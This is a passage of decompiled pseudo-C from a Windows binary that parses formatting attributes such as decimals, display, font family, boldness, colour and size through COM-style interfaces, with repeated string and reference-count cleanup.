																																																											 *(_t1887 + 4) = 0;
																																																										}
																																																										_push(0xc);
																																																										E6E90416E(_t1887);
																																																										_t1939 = _t1939 + 8;
																																																									}
																																																								}
																																																								_v120 = 0;
																																																							}
																																																							__eflags = _t1604;
																																																							if(__eflags == 0) {
																																																								_t1206 = E6E8F7C80(_t1604,  &_v128, _t1823, __eflags, "divide");
																																																								_t1708 =  &_v40;
																																																								_t1207 = E6E8F7D80(_t1708, _t1206);
																																																								_t1888 = _v128;
																																																								_t1605 = _t1207;
																																																								__eflags = _t1888;
																																																								if(_t1888 != 0) {
																																																									asm("lock xadd [esi+0x8], ecx");
																																																									__eflags = (_t1708 | 0xffffffff) == 1;
																																																									if((_t1708 | 0xffffffff) == 1) {
																																																										__eflags = _t1888;
																																																										if(_t1888 != 0) {
																																																											_t1259 =  *_t1888;
																																																											__eflags = _t1259;
																																																											if(_t1259 != 0) {
																																																												__imp__#6(_t1259);
																																																												 *_t1888 = 0;
																																																											}
																																																											_t1260 =  *(_t1888 + 4);
																																																											__eflags = _t1260;
																																																											if(_t1260 != 0) {
																																																												E6E9041CF(_t1260);
																																																												_t1939 = _t1939 + 4;
																																																												 *(_t1888 + 4) = 0;
																																																											}
																																																											_push(0xc);
																																																											E6E90416E(_t1888);
																																																											_t1939 = _t1939 + 8;
																																																										}
																																																									}
																																																									_v128 = 0;
																																																								}
																																																								__eflags = _t1605;
																																																								if(__eflags == 0) {
																																																									_t1208 = E6E8F7C80(_t1605,  &_v136, _t1823, __eflags, "decimals");
																																																									_t1710 =  &_v40;
																																																									_t1209 = E6E8F7D80(_t1710, _t1208);
																																																									_t1889 = _v136;
																																																									_t1606 = _t1209;
																																																									__eflags = _t1889;
																																																									if(_t1889 != 0) {
																																																										asm("lock xadd [esi+0x8], ecx");
																																																										__eflags = (_t1710 | 0xffffffff) == 1;
																																																										if((_t1710 | 0xffffffff) == 1) {
																																																											__eflags = _t1889;
																																																											if(_t1889 != 0) {
																																																												_t1244 =  *_t1889;
																																																												__eflags = _t1244;
																																																												if(_t1244 != 0) {
																																																													__imp__#6(_t1244);
																																																													 *_t1889 = 0;
																																																												}
																																																												_t1245 =  *(_t1889 + 4);
																																																												__eflags = _t1245;
																																																												if(_t1245 != 0) {
																																																													E6E9041CF(_t1245);
																																																													_t1939 = _t1939 + 4;
																																																													 *(_t1889 + 4) = 0;
																																																												}
																																																												_push(0xc);
																																																												E6E90416E(_t1889);
																																																												_t1939 = _t1939 + 8;
																																																											}
																																																										}
																																																										_v136 = 0;
																																																									}
																																																									__eflags = _t1606;
																																																									if(__eflags == 0) {
																																																										_t1210 = E6E8F7C80(_t1606,  &_v144, _t1823, __eflags, "characters");
																																																										_t1712 =  &_v40;
																																																										_t1211 = E6E8F7D80(_t1712, _t1210);
																																																										_t1890 = _v144;
																																																										_t1607 = _t1211;
																																																										__eflags = _t1890;
																																																										if(_t1890 != 0) {
																																																											asm("lock xadd [esi+0x8], ecx");
																																																											__eflags = (_t1712 | 0xffffffff) == 1;
																																																											if((_t1712 | 0xffffffff) == 1) {
																																																												__eflags = _t1890;
																																																												if(_t1890 != 0) {
																																																													_t1230 =  *_t1890;
																																																													__eflags = _t1230;
																																																													if(_t1230 != 0) {
																																																														__imp__#6(_t1230);
																																																														 *_t1890 = 0;
																																																													}
																																																													_t1231 =  *(_t1890 + 4);
																																																													__eflags = _t1231;
																																																													if(_t1231 != 0) {
																																																														E6E9041CF(_t1231);
																																																														_t1939 = _t1939 + 4;
																																																														 *(_t1890 + 4) = 0;
																																																													}
																																																													_push(0xc);
																																																													E6E90416E(_t1890);
																																																													_t1939 = _t1939 + 8;
																																																												}
																																																											}
																																																											_v144 = 0;
																																																										}
																																																										__eflags = _t1607;
																																																										if(_t1607 != 0) {
																																																											_push( &_v72);
																																																											_t1714 =  &_v148;
																																																											_t1221 = E6E8F7ED0(_t1607,  &_v148, _t1823, _t1837, _t1890, _t1996);
																																																											_v20 = 0x15;
																																																											_t1891 =  *_t1221;
																																																											__eflags = _t1891;
																																																											if(_t1891 == 0) {
																																																												_t1222 = 0;
																																																												__eflags = 0;
																																																											} else {
																																																												_t1222 =  *(_t1891 + 4);
																																																												__eflags = _t1222;
																																																												if(_t1222 == 0) {
																																																													 *(_t1891 + 4) = E6E907520(_t1607,  *_t1891);
																																																												}
																																																											}
																																																											_t1223 = E6E914079(_t1714, _t1222);
																																																											_t1939 = _t1939 + 4;
																																																											_t1892 = _v148;
																																																											 *(_v96 + 0x48) = _t1223;
																																																											__eflags = _t1892;
																																																											if(_t1892 != 0) {
																																																												asm("lock xadd [esi+0x8], eax");
																																																												__eflags = (_t1223 | 0xffffffff) == 1;
																																																												if((_t1223 | 0xffffffff) == 1) {
																																																													__eflags = _t1892;
																																																													if(_t1892 != 0) {
																																																														_t1226 =  *_t1892;
																																																														__eflags = _t1226;
																																																														if(_t1226 != 0) {
																																																															__imp__#6(_t1226);
																																																															 *_t1892 = 0;
																																																														}
																																																														_t1227 =  *(_t1892 + 4);
																																																														__eflags = _t1227;
																																																														if(_t1227 != 0) {
																																																															E6E9041CF(_t1227);
																																																															_t1939 = _t1939 + 4;
																																																															 *(_t1892 + 4) = 0;
																																																														}
																																																														_push(0xc);
																																																														E6E90416E(_t1892);
																																																														_t1939 = _t1939 + 8;
																																																													}
																																																												}
																																																												_v148 = 0;
																																																											}
																																																										}
																																																									} else {
																																																										_push( &_v72);
																																																										_t1718 =  &_v140;
																																																										_t1235 = E6E8F7ED0(_t1606,  &_v140, _t1823, _t1837, _t1889, _t1996);
																																																										_v20 = 0x14;
																																																										_t1893 =  *_t1235;
																																																										__eflags = _t1893;
																																																										if(_t1893 == 0) {
																																																											_t1236 = 0;
																																																											__eflags = 0;
																																																										} else {
																																																											_t1236 =  *(_t1893 + 4);
																																																											__eflags = _t1236;
																																																											if(_t1236 == 0) {
																																																												 *(_t1893 + 4) = E6E907520(_t1606,  *_t1893);
																																																											}
																																																										}
																																																										_t1237 = E6E914079(_t1718, _t1236);
																																																										_t1939 = _t1939 + 4;
																																																										_t1894 = _v140;
																																																										 *(_v96 + 0x4c) = _t1237;
																																																										__eflags = _t1894;
																																																										if(_t1894 != 0) {
																																																											asm("lock xadd [esi+0x8], eax");
																																																											__eflags = (_t1237 | 0xffffffff) == 1;
																																																											if((_t1237 | 0xffffffff) == 1) {
																																																												__eflags = _t1894;
																																																												if(_t1894 != 0) {
																																																													_t1240 =  *_t1894;
																																																													__eflags = _t1240;
																																																													if(_t1240 != 0) {
																																																														__imp__#6(_t1240);
																																																														 *_t1894 = 0;
																																																													}
																																																													_t1241 =  *(_t1894 + 4);
																																																													__eflags = _t1241;
																																																													if(_t1241 != 0) {
																																																														E6E9041CF(_t1241);
																																																														_t1939 = _t1939 + 4;
																																																														 *(_t1894 + 4) = 0;
																																																													}
																																																													_push(0xc);
																																																													E6E90416E(_t1894);
																																																													_t1939 = _t1939 + 8;
																																																												}
																																																											}
																																																											_v140 = 0;
																																																										}
																																																									}
																																																								} else {
																																																									_push( &_v72);
																																																									_t1249 = E6E8F7ED0(_t1605,  &_v132, _t1823, _t1837, _t1888, _t1996);
																																																									_v20 = 0x13;
																																																									_t1895 =  *_t1249;
																																																									__eflags = _t1895;
																																																									if(_t1895 == 0) {
																																																										_t1250 = 0;
																																																										__eflags = 0;
																																																									} else {
																																																										_t1250 =  *(_t1895 + 4);
																																																										__eflags = _t1250;
																																																										if(_t1250 == 0) {
																																																											 *(_t1895 + 4) = E6E907520(_t1605,  *_t1895);
																																																										}
																																																									}
																																																									E6E91492F(_t1250);
																																																									_t1252 = _v96;
																																																									_t1939 = _t1939 + 4;
																																																									_t1896 = _v132;
																																																									 *((long long*)(_t1252 + 0x50)) = _t1996;
																																																									__eflags = _t1896;
																																																									if(_t1896 != 0) {
																																																										asm("lock xadd [esi+0x8], eax");
																																																										__eflags = (_t1252 | 0xffffffff) == 1;
																																																										if((_t1252 | 0xffffffff) == 1) {
																																																											__eflags = _t1896;
																																																											if(_t1896 != 0) {
																																																												_t1255 =  *_t1896;
																																																												__eflags = _t1255;
																																																												if(_t1255 != 0) {
																																																													__imp__#6(_t1255);
																																																													 *_t1896 = 0;
																																																												}
																																																												_t1256 =  *(_t1896 + 4);
																																																												__eflags = _t1256;
																																																												if(_t1256 != 0) {
																																																													E6E9041CF(_t1256);
																																																													_t1939 = _t1939 + 4;
																																																													 *(_t1896 + 4) = 0;
																																																												}
																																																												_push(0xc);
																																																												E6E90416E(_t1896);
																																																												_t1939 = _t1939 + 8;
																																																											}
																																																										}
																																																										_v132 = 0;
																																																									}
																																																								}
																																																							} else {
																																																								_push( &_v72);
																																																								_t1264 = E6E8F7ED0(_t1604,  &_v124, _t1823, _t1837, _t1887, _t1996);
																																																								_v20 = 0x12;
																																																								_t1265 =  *_t1264;
																																																								__eflags = _t1265;
																																																								if(_t1265 == 0) {
																																																									_t1823 = 0;
																																																									__eflags = 0;
																																																								} else {
																																																									_t1823 =  *_t1265;
																																																								}
																																																								_t1726 = _t1823;
																																																								_t595 = _t1726 + 2; // 0x2
																																																								_t1897 = _t595;
																																																								asm("o16 nop [eax+eax]");
																																																								do {
																																																									_t1266 =  *_t1726;
																																																									_t1726 = _t1726 + 2;
																																																									__eflags = _t1266;
																																																								} while (_t1266 != 0);
																																																								_push(_t1726 - _t1897 >> 1);
																																																								_t1267 = E6E8FB860(_t1604, _v96, _t1837, _t1897, _t1996, _t1823);
																																																								_t1898 = _v124;
																																																								__eflags = _t1898;
																																																								if(_t1898 != 0) {
																																																									asm("lock xadd [esi+0x8], eax");
																																																									__eflags = (_t1267 | 0xffffffff) == 1;
																																																									if((_t1267 | 0xffffffff) == 1) {
																																																										__eflags = _t1898;
																																																										if(_t1898 != 0) {
																																																											_t1270 =  *_t1898;
																																																											__eflags = _t1270;
																																																											if(_t1270 != 0) {
																																																												__imp__#6(_t1270);
																																																												 *_t1898 = 0;
																																																											}
																																																											_t1271 =  *(_t1898 + 4);
																																																											__eflags = _t1271;
																																																											if(_t1271 != 0) {
																																																												E6E9041CF(_t1271);
																																																												_t1939 = _t1939 + 4;
																																																												 *(_t1898 + 4) = 0;
																																																											}
																																																											_push(0xc);
																																																											E6E90416E(_t1898);
																																																											_t1939 = _t1939 + 8;
																																																										}
																																																									}
																																																									_v124 = 0;
																																																								}
																																																							}
																																																						} else {
																																																							_push( &_v72);
																																																							_t1279 = E6E8F7ED0(_t1603,  &_v116, _t1823, _t1837, _t1886, _t1996);
																																																							_v20 = 0x11;
																																																							_t1280 =  *_t1279;
																																																							__eflags = _t1280;
																																																							if(_t1280 == 0) {
																																																								_t1823 = 0;
																																																								__eflags = 0;
																																																							} else {
																																																								_t1823 =  *_t1280;
																																																							}
																																																							_t1733 = _t1823;
																																																							_t579 = _t1733 + 2; // 0x2
																																																							_t1899 = _t579;
																																																							asm("o16 nop [eax+eax]");
																																																							do {
																																																								_t1281 =  *_t1733;
																																																								_t1733 = _t1733 + 2;
																																																								__eflags = _t1281;
																																																							} while (_t1281 != 0);
																																																							_push(_t1733 - _t1899 >> 1);
																																																							_t1282 = E6E8FB860(_t1603, _v96 + 0x30, _t1837, _t1899, _t1996, _t1823);
																																																							_t1900 = _v116;
																																																							__eflags = _t1900;
																																																							if(_t1900 != 0) {
																																																								asm("lock xadd [esi+0x8], eax");
																																																								__eflags = (_t1282 | 0xffffffff) == 1;
																																																								if((_t1282 | 0xffffffff) == 1) {
																																																									__eflags = _t1900;
																																																									if(_t1900 != 0) {
																																																										_t1285 =  *_t1900;
																																																										__eflags = _t1285;
																																																										if(_t1285 != 0) {
																																																											__imp__#6(_t1285);
																																																											 *_t1900 = 0;
																																																										}
																																																										_t1286 =  *(_t1900 + 4);
																																																										__eflags = _t1286;
																																																										if(_t1286 != 0) {
																																																											E6E9041CF(_t1286);
																																																											_t1939 = _t1939 + 4;
																																																											 *(_t1900 + 4) = 0;
																																																										}
																																																										_push(0xc);
																																																										E6E90416E(_t1900);
																																																										_t1939 = _t1939 + 8;
																																																									}
																																																								}
																																																								_v116 = 0;
																																																							}
																																																						}
																																																					} else {
																																																						_push( &_v72);
																																																						_t1294 = E6E8F7ED0(_t1602,  &_v108, _t1823, _t1837, _t1885, _t1996);
																																																						_v20 = 0x10;
																																																						_t1295 =  *_t1294;
																																																						__eflags = _t1295;
																																																						if(_t1295 == 0) {
																																																							_t1823 = 0;
																																																							__eflags = 0;
																																																						} else {
																																																							_t1823 =  *_t1295;
																																																						}
																																																						_t1741 = _t1823;
																																																						_t563 = _t1741 + 2; // 0x2
																																																						_t1901 = _t563;
																																																						do {
																																																							_t1296 =  *_t1741;
																																																							_t1741 = _t1741 + 2;
																																																							__eflags = _t1296;
																																																						} while (_t1296 != 0);
																																																						_push(_t1741 - _t1901 >> 1);
																																																						_t1297 = E6E8FB860(_t1602, _v96 + 0x18, _t1837, _t1901, _t1996, _t1823);
																																																						_t1902 = _v108;
																																																						__eflags = _t1902;
																																																						if(_t1902 != 0) {
																																																							asm("lock xadd [esi+0x8], eax");
																																																							__eflags = (_t1297 | 0xffffffff) == 1;
																																																							if((_t1297 | 0xffffffff) == 1) {
																																																								__eflags = _t1902;
																																																								if(_t1902 != 0) {
																																																									_t1300 =  *_t1902;
																																																									__eflags = _t1300;
																																																									if(_t1300 != 0) {
																																																										__imp__#6(_t1300);
																																																										 *_t1902 = 0;
																																																									}
																																																									_t1301 =  *(_t1902 + 4);
																																																									__eflags = _t1301;
																																																									if(_t1301 != 0) {
																																																										E6E9041CF(_t1301);
																																																										_t1939 = _t1939 + 4;
																																																										 *(_t1902 + 4) = 0;
																																																									}
																																																									_push(0xc);
																																																									E6E90416E(_t1902);
																																																									_t1939 = _t1939 + 8;
																																																								}
																																																							}
																																																							_v108 = 0;
																																																						}
																																																					}
																																																					_t1212 =  &_v72;
																																																					__imp__#9(_t1212);
																																																					asm("lock xadd [edi+0x8], eax");
																																																					__eflags = (_t1212 | 0xffffffff) == 1;
																																																					if((_t1212 | 0xffffffff) == 1) {
																																																						_t1216 =  *_t1837;
																																																						__eflags = _t1216;
																																																						if(_t1216 != 0) {
																																																							__imp__#6(_t1216);
																																																							 *_t1837 = 0;
																																																						}
																																																						_t1217 = _t1837[2];
																																																						__eflags = _t1217;
																																																						if(_t1217 != 0) {
																																																							E6E9041CF(_t1217);
																																																							_t1939 = _t1939 + 4;
																																																							_t1837[2] = 0;
																																																						}
																																																						_push(0xc);
																																																						E6E90416E(_t1837);
																																																						_t1939 = _t1939 + 8;
																																																					}
																																																					_v20 = 4;
																																																					_t1591 = __imp__#6;
																																																					 *_t1591(_v48);
																																																					_t1186 = _v36;
																																																					_t1635 = _v100 + 1;
																																																					_v100 = _t1635;
																																																					__eflags = _t1635 - _v52;
																																																					if(_t1635 < _v52) {
																																																						continue;
																																																					} else {
																																																						goto L536;
																																																					}
																																																				}
																																																			}
																																																		} else {
																																																			__eflags = _t1860;
																																																			if(_t1860 != 0) {
																																																				L545:
																																																				_t1196 = E6E907500(0x8007000e);
																																																				L546:
																																																				E6E907500(_t1196);
																																																				goto L547;
																																																			} else {
																																																				goto L386;
																																																			}
																																																		}
																																																	}
																																																}
																																															}
																																														}
																																													}
																																												}
																																												goto L737;
																																											}
																																											goto L547;
																																										}
																																									}
																																								}
																																							}
																																						}
																																					} else {
																																						_t1313 = _t1823;
																																						goto L354;
																																					}
																																				}
																																			}
																																		} else {
																																			_t1334 = MultiByteToWideChar(3, 0, "display", 0xffffffff, _t1837, _t1859);
																																			__eflags = _t1334 - _t1859;
																																			if(_t1334 != _t1859) {
																																				L348:
																																				__imp__#6(_t1837);
																																				goto L349;
																																			} else {
																																				__imp__#314(_v40, _t1837, 0x400, 0);
																																				_t1837 = __imp__#6;
																																				_t1859 = _t1334;
																																				 *_t1837(_t1837);
																																				__eflags = _t1859 - 1;
																																				if(_t1859 != 1) {
																																					L322:
																																					_v32 = 0;
																																					_v16 = 0x1b;
																																					_t1336 = _v36;
																																					__eflags = _t1336;
																																					if(__eflags == 0) {
																																						goto L346;
																																					} else {
																																						_t1822 =  &_v32;
																																						_v16 = 0x1b;
																																						_v32 = 0;
																																						_t1337 =  *((intOrPtr*)( *_t1336 + 0x40))(_t1336,  &_v32);
																																						__eflags = _t1337;
																																						if(_t1337 < 0) {
																																							_v16 = 0x1d;
																																							_t1338 = _v32;
																																							__eflags = _t1338;
																																							if(_t1338 != 0) {
																																								 *((intOrPtr*)( *_t1338 + 8))(_t1338);
																																							}
																																							goto L339;
																																						} else {
																																							_t1630 = _v36;
																																							_t1340 = _v32;
																																							__eflags = _t1630 - _t1340;
																																							if(_t1630 != _t1340) {
																																								_t1859 = _t1340;
																																								_v16 = 0x21;
																																								__eflags = _t1859;
																																								if(_t1859 != 0) {
																																									 *((intOrPtr*)( *_t1340 + 4))(_t1340);
																																									_t1630 = _v36;
																																									_t1340 = _v32;
																																								}
																																								_v36 = _t1859;
																																								_v16 = 0x22;
																																								__eflags = _t1630;
																																								if(_t1630 != 0) {
																																									 *((intOrPtr*)( *_t1630 + 8))(_t1630);
																																									_t1340 = _v32;
																																								}
																																							}
																																							_v16 = 0x23;
																																							__eflags = _t1340;
																																							if(_t1340 != 0) {
																																								_t1630 =  *_t1340;
																																								 *((intOrPtr*)(_t1630 + 8))(_t1340);
																																							}
																																							 *_t1837(_v40);
																																							_t1327 = _v36;
																																							__eflags = _t1327;
																																							if(_t1327 != 0) {
																																								continue;
																																							} else {
																																								goto L332;
																																							}
																																						}
																																					}
																																				} else {
																																					_v156 = 0;
																																					asm("xorps xmm0, xmm0");
																																					_v132 = 0;
																																					_v108 = 0;
																																					_v140 = 0;
																																					_v136 = 7;
																																					_v156 = 0;
																																					_v116 = 0;
																																					_v112 = 7;
																																					_v132 = 0;
																																					_v92 = 0;
																																					_v88 = 7;
																																					_v108 = 0;
																																					_v84 = 0;
																																					_v80 = 0;
																																					asm("movsd [ebp-0x40], xmm0");
																																					_v16 = 0x18;
																																					_t1630 =  &_v36;
																																					L367();
																																					__eflags = 0;
																																					if(0 != 0) {
																																						_t1846 = _v180;
																																						_push( &_v156);
																																						_t1859 =  *(_t1846 + 0x2c);
																																						__eflags = _t1859 -  *((intOrPtr*)(_t1846 + 0x30));
																																						if(_t1859 ==  *((intOrPtr*)(_t1846 + 0x30))) {
																																							_push(_t1859);
																																							_t1630 = _t1846 + 0x28;
																																							E6E8FC220(_t1591, _t1630, _t1846, _t1859, _t1996);
																																						} else {
																																							_v176 = _t1859;
																																							E6E8FC830(_t1859, _t1996);
																																							_v16 = 0x19;
																																							E6E8FC830(_t1859 + 0x18, _t1996,  &_v132);
																																							_v16 = 0x1a;
																																							_t1630 = _t1859 + 0x30;
																																							E6E8FC830(_t1630, _t1996,  &_v108);
																																							asm("movsd xmm0, [ebp-0x40]");
																																							 *((intOrPtr*)(_t1859 + 0x48)) = _v84;
																																							 *((intOrPtr*)(_t1859 + 0x4c)) = _v80;
																																							asm("movsd [esi+0x50], xmm0");
																																							 *(_t1846 + 0x2c) =  *(_t1846 + 0x2c) + 0x58;
																																						}
																																						_t1837 = __imp__#6;
																																					}
																																					_v16 = 0x14;
																																					_t1831 = _v88;
																																					__eflags = _t1831 - 8;
																																					if(_t1831 < 8) {
																																						L314:
																																						_t1832 = _v112;
																																						__eflags = _t1832 - 8;
																																						if(_t1832 < 8) {
																																							L318:
																																							_t1822 = _v136;
																																							__eflags = _t1822 - 8;
																																							if(_t1822 < 8) {
																																								goto L322;
																																							} else {
																																								_t1630 = _v156;
																																								_t1822 = 2 + _t1822 * 2;
																																								_t1347 = _t1630;
																																								__eflags = _t1822 - 0x1000;
																																								if(_t1822 < 0x1000) {
																																									L321:
																																									_push(_t1822);
																																									E6E90416E(_t1630);
																																									_t1937 = _t1937 + 8;
																																									goto L322;
																																								} else {
																																									_t1630 =  *(_t1630 - 4);
																																									_t1822 = _t1822 + 0x23;
																																									__eflags = _t1347 - _t1630 + 0xfffffffc - 0x1f;
																																									if(__eflags > 0) {
																																										goto L347;
																																									} else {
																																										goto L321;
																																									}
																																								}
																																							}
																																						} else {
																																							_t1630 = _v132;
																																							_t1833 = 2 + _t1832 * 2;
																																							_t1351 = _t1630;
																																							__eflags = _t1833 - 0x1000;
																																							if(_t1833 < 0x1000) {
																																								L317:
																																								_push(_t1833);
																																								E6E90416E(_t1630);
																																								_t1937 = _t1937 + 8;
																																								goto L318;
																																							} else {
																																								_t1630 =  *(_t1630 - 4);
																																								_t1822 = _t1833 + 0x23;
																																								__eflags = _t1351 - _t1630 + 0xfffffffc - 0x1f;
																																								if(__eflags > 0) {
																																									goto L347;
																																								} else {
																																									goto L317;
																																								}
																																							}
																																						}
																																					} else {
																																						_t1630 = _v108;
																																						_t1834 = 2 + _t1831 * 2;
																																						_t1355 = _t1630;
																																						__eflags = _t1834 - 0x1000;
																																						if(_t1834 < 0x1000) {
																																							L313:
																																							_push(_t1834);
																																							E6E90416E(_t1630);
																																							_t1937 = _t1937 + 8;
																																							goto L314;
																																						} else {
																																							_t1630 =  *(_t1630 - 4);
																																							_t1822 = _t1834 + 0x23;
																																							__eflags = _t1355 - _t1630 + 0xfffffffc - 0x1f;
																																							if(__eflags > 0) {
																																								L347:
																																								E6E90D5F4(_t1591, _t1630, _t1822, __eflags);
																																								goto L348;
																																							} else {
																																								goto L313;
																																							}
																																						}
																																					}
																																				}
																																			}
																																		}
																																	}
																																	goto L737;
																																}
																																goto L346;
																															}
																														}
																													} else {
																														while(1) {
																															_t1859 = _v48;
																															__eflags = _t1859;
																															if(__eflags == 0) {
																																goto L346;
																															}
																															_t1630 =  *_t1859;
																															_t1837 =  *(_t1630 + 0x28);
																															_v16 = 5;
																															__eflags = _t1324;
																															if(_t1324 != 0) {
																																_t1630 =  *_t1324;
																																 *((intOrPtr*)(_t1630 + 8))(_t1324);
																															}
																															_v16 = 4;
																															_v44 = 0;
																															_t1369 =  *_t1837(_t1859, _t1591,  &_v44);
																															__eflags = _t1369;
																															if(_t1369 < 0) {
																																L296:
																																_t1608 = 0;
																																L335:
																																_v16 = 0x25;
																																_t1328 = _v44;
																																__eflags = _t1328;
																																if(_t1328 != 0) {
																																	 *((intOrPtr*)( *_t1328 + 8))(_t1328);
																																}
																																L341:
																																_v16 = 0x26;
																																_t1750 = _v48;
																																__eflags = _t1750;
																																if(_t1750 != 0) {
																																	_t1822 =  *_t1750;
																																	 *((intOrPtr*)( *_t1750 + 8))(_t1750);
																																}
																																 *[fs:0x0] = _v24;
																																_pop(_t1845);
																																_pop(_t1903);
																																_pop(_t1609);
																																__eflags = _v28 ^ _t1916;
																																return E6E904160(_t1608, _t1609, _v28 ^ _t1916, _t1822, _t1845, _t1903);
																															} else {
																																_v40 = 0;
																																_v16 = 8;
																																_t1370 = _v44;
																																__eflags = _t1370;
																																if(__eflags == 0) {
																																	goto L346;
																																} else {
																																	_t1630 =  *_t1370;
																																	_t1822 =  &_v40;
																																	_t1371 =  *((intOrPtr*)(_t1630 + 0x1c))(_t1370,  &_v40);
																																	__eflags = _t1371;
																																	if(_t1371 < 0) {
																																		L295:
																																		__imp__#6(_v40);
																																		goto L296;
																																	} else {
																																		_t1372 = _v44;
																																		__eflags = _t1372;
																																		if(__eflags == 0) {
																																			goto L346;
																																		} else {
																																			_t1630 =  *_t1372;
																																			_t1822 =  &_v172;
																																			__eflags =  *((intOrPtr*)(_t1630 + 0x20))(_t1372,  &_v172);
																																			if(__eflags < 0) {
																																				goto L295;
																																			} else {
																																				_t1859 = _v40;
																																				_t1374 = E6E90419F( &_v172, __eflags, 0xc);
																																				_t1837 = _t1374;
																																				_t1937 = _t1937 + 4;
																																				_v232 = _t1837;
																																				_v16 = 0xd;
																																				__eflags = _t1837;
																																				if(_t1837 == 0) {
																																					_t1837 = 0;
																																					__eflags = 0;
																																					goto L172;
																																				} else {
																																					asm("xorps xmm0, xmm0");
																																					asm("movq [edi], xmm0");
																																					_t1837[4] = 0;
																																					_t1837[2] = 0;
																																					_t1837[4] = 1;
																																					__imp__#2(_t1859);
																																					 *_t1837 = _t1374;
																																					__eflags = _t1374;
																																					if(_t1374 != 0) {
																																						L172:
																																						_v16 = 8;
																																						_v32 = _t1837;
																																						__eflags = _t1837;
																																						if(__eflags == 0) {
																																							goto L344;
																																						} else {
																																							_v16 = 0xe;
																																							__imp__#8( &_v68);
																																							_t1375 =  &_v68;
																																							__imp__#10(_t1375,  &_v172);
																																							__eflags = _t1375;
																																							if(__eflags < 0) {
																																								goto L345;
																																							} else {
																																								_v16 = 0xf;
																																								_t1379 = E6E8F7C80(_t1591,  &_v184, _t1822, __eflags, "fontFamily");
																																								_t1765 =  &_v32;
																																								_t1380 = E6E8F7D80(_t1765, _t1379);
																																								_t1904 = _v184;
																																								_t1610 = _t1380;
																																								__eflags = _t1904;
																																								if(_t1904 != 0) {
																																									asm("lock xadd [esi+0x8], ecx");
																																									__eflags = (_t1765 | 0xffffffff) == 1;
																																									if((_t1765 | 0xffffffff) == 1) {
																																										__eflags = _t1904;
																																										if(_t1904 != 0) {
																																											_t1469 =  *_t1904;
																																											__eflags = _t1469;
																																											if(_t1469 != 0) {
																																												__imp__#6(_t1469);
																																												 *_t1904 = 0;
																																											}
																																											_t1470 =  *(_t1904 + 4);
																																											__eflags = _t1470;
																																											if(_t1470 != 0) {
																																												E6E9041CF(_t1470);
																																												_t1937 = _t1937 + 4;
																																												 *(_t1904 + 4) = 0;
																																											}
																																											_push(0xc);
																																											E6E90416E(_t1904);
																																											_t1937 = _t1937 + 8;
																																										}
																																									}
																																									_v184 = 0;
																																								}
																																								__eflags = _t1610;
																																								if(__eflags == 0) {
																																									_t1381 = E6E8F7C80(_t1610,  &_v192, _t1822, __eflags, "fontBold");
																																									_t1767 =  &_v32;
																																									_t1382 = E6E8F7D80(_t1767, _t1381);
																																									_t1905 = _v192;
																																									_t1611 = _t1382;
																																									__eflags = _t1905;
																																									if(_t1905 != 0) {
																																										asm("lock xadd [esi+0x8], ecx");
																																										__eflags = (_t1767 | 0xffffffff) == 1;
																																										if((_t1767 | 0xffffffff) == 1) {
																																											__eflags = _t1905;
																																											if(_t1905 != 0) {
																																												_t1455 =  *_t1905;
																																												__eflags = _t1455;
																																												if(_t1455 != 0) {
																																													__imp__#6(_t1455);
																																													 *_t1905 = 0;
																																												}
																																												_t1456 =  *(_t1905 + 4);
																																												__eflags = _t1456;
																																												if(_t1456 != 0) {
																																													E6E9041CF(_t1456);
																																													_t1937 = _t1937 + 4;
																																													 *(_t1905 + 4) = 0;
																																												}
																																												_push(0xc);
																																												E6E90416E(_t1905);
																																												_t1937 = _t1937 + 8;
																																											}
																																										}
																																										_v192 = 0;
																																									}
																																									__eflags = _t1611;
																																									if(__eflags == 0) {
																																										_t1383 = E6E8F7C80(_t1611,  &_v200, _t1822, __eflags, "fontItalic");
																																										_t1769 =  &_v32;
																																										_t1384 = E6E8F7D80(_t1769, _t1383);
																																										_t1906 = _v200;
																																										_t1612 = _t1384;
																																										__eflags = _t1906;
																																										if(_t1906 != 0) {
																																											asm("lock xadd [esi+0x8], ecx");
																																											__eflags = (_t1769 | 0xffffffff) == 1;
																																											if((_t1769 | 0xffffffff) == 1) {
																																												__eflags = _t1906;
																																												if(_t1906 != 0) {
																																													_t1439 =  *_t1906;
																																													__eflags = _t1439;
																																													if(_t1439 != 0) {
																																														__imp__#6(_t1439);
																																														 *_t1906 = 0;
																																													}
																																													_t1440 =  *(_t1906 + 4);
																																													__eflags = _t1440;
																																													if(_t1440 != 0) {
																																														E6E9041CF(_t1440);
																																														_t1937 = _t1937 + 4;
																																														 *(_t1906 + 4) = 0;
																																													}
																																													_push(0xc);
																																													E6E90416E(_t1906);
																																													_t1937 = _t1937 + 8;
																																												}
																																											}
																																											_v200 = 0;
																																										}
																																										__eflags = _t1612;
																																										if(__eflags == 0) {
																																											_t1385 = E6E8F7C80(_t1612,  &_v208, _t1822, __eflags, "fontColor");
																																											_t1771 =  &_v32;
																																											_t1386 = E6E8F7D80(_t1771, _t1385);
																																											_t1907 = _v208;
																																											_t1613 = _t1386;
																																											__eflags = _t1907;
																																											if(_t1907 != 0) {
																																												asm("lock xadd [esi+0x8], ecx");
																																												__eflags = (_t1771 | 0xffffffff) == 1;
																																												if((_t1771 | 0xffffffff) == 1) {
																																													__eflags = _t1907;
																																													if(_t1907 != 0) {
																																														_t1423 =  *_t1907;
																																														__eflags = _t1423;
																																														if(_t1423 != 0) {
																																															__imp__#6(_t1423);
																																															 *_t1907 = 0;
																																														}
																																														_t1424 =  *(_t1907 + 4);
																																														__eflags = _t1424;
																																														if(_t1424 != 0) {
																																															E6E9041CF(_t1424);
																																															_t1937 = _t1937 + 4;
																																															 *(_t1907 + 4) = 0;
																																														}
																																														_push(0xc);
																																														E6E90416E(_t1907);
																																														_t1937 = _t1937 + 8;
																																													}
																																												}
																																												_v208 = 0;
																																											}
																																											__eflags = _t1613;
																																											if(__eflags == 0) {
																																												_t1387 = E6E8F7C80(_t1613,  &_v216, _t1822, __eflags, "fontSize");
																																												_t1630 =  &_v32;
																																												_t1388 = E6E8F7D80(_t1630, _t1387);
																																												_t1859 = _v216;
																																												_t1614 = _t1388;
																																												__eflags = _t1859;
																																												if(_t1859 != 0) {
																																													asm("lock xadd [esi+0x8], ecx");
																																													_t1630 = (_t1630 | 0xffffffff) - 1;
																																													__eflags = _t1630;
																																													if(_t1630 == 0) {
																																														__eflags = _t1859;
																																														if(_t1859 != 0) {
																																															_t1408 =  *_t1859;
																																															__eflags = _t1408;
																																															if(_t1408 != 0) {
																																																__imp__#6(_t1408);
																																																 *_t1859 = 0;
																																															}
																																															_t1409 =  *(_t1859 + 4);
																																															__eflags = _t1409;
																																															if(_t1409 != 0) {
